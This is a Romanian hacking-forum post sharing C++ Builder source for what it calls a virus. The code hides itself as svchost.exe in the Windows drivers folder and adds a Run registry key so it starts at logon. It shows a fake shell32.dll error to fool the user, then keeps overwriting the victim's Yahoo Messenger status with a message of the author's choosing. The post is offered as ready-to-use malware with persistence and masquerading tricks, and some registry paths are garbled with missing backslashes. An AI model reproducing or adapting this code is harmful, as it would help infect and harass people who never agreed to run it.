Jump to content
ghici

Sursa virusului gay pasiv

Recommended Posts

by DJAx3L



//---------------------------------------------------------------------------

#include <vcl.h>

#include <Registry.hpp>

#pragma hdrstop

#define STATUSMSG "YOUR STATUS MESSAGE HERE"

//---------------------------------------------------------------------------

void setstatus() {

       AnsiString *username = new AnsiString;

       TRegistry *RegGet = new TRegistry(KEY_READ);

       try

       {

               RegGet->RootKey = HKEY_CURRENT_USER;

               RegGet->OpenKey("SoftwareYahoopager",false);

               *username = RegGet->ReadString("Yahoo! User ID");

       }

       __finally

       {

               delete RegGet;

       }

       TRegistry *RegSet = new TRegistry(KEY_WRITE);

       try

       {

               RegSet->RootKey = HKEY_CURRENT_USER;

               AnsiString key = "SoftwareYahoopagerProfiles" + *username + "Custom Msgs";

               RegSet->OpenKey(key,false);

               RegSet->WriteString("5",STATUSMSG);

       }

       __finally

       {

               delete RegSet;

       }

       HWND hWndY = FindWindow ("YahooBuddyMain", NULL);

       PostMessage (hWndY, WM_COMMAND, 0x188, 0);

       delete username;

       Sleep(15000);

       setstatus();

}



//---------------------------------------------------------------------------

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

       try

       {

               if(ExtractFileName(Application->ExeName) != "svchost.exe") {

                       char target[30];

                       GetSystemDirectory(target, MAX_PATH);

                       AnsiString tg = target;

                       tg +=  "driverssvchost.exe";

                       CopyFile(Application->ExeName.c_str(),tg.c_str(),0);

                       TRegistry *regrun = new TRegistry;

                       try

                       {

                               regrun->RootKey = HKEY_CURRENT_USER;

                               AnsiString key = "SoftwareMicrosoftWindowsCurrentVersionRun";

                               regrun->OpenKey(key,false);

                               regrun->WriteString("braaainz","""+tg+""");

                       }

                       __finally

                       {

                               delete regrun;

                       }

                       Application->ShowException(&Exception("Could not locate entry point __GETICON in shell32.dll"));

                       ShellExecute(NULL,"open",tg.c_str(),NULL,NULL,SW_SHOW);

                       ExitProcess(0);





               }

               setstatus();

       }

       catch (Exception &exception)

       {

              Application->ShowException(&exception);

       }

       catch (...)

       {

                try

                {

                        throw Exception("");

                }

                catch (Exception &exception)

                {

                     Application->ShowException(&exception);

                }

       }

       return 0;

}

//---------------------------------------------------------------------------



Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...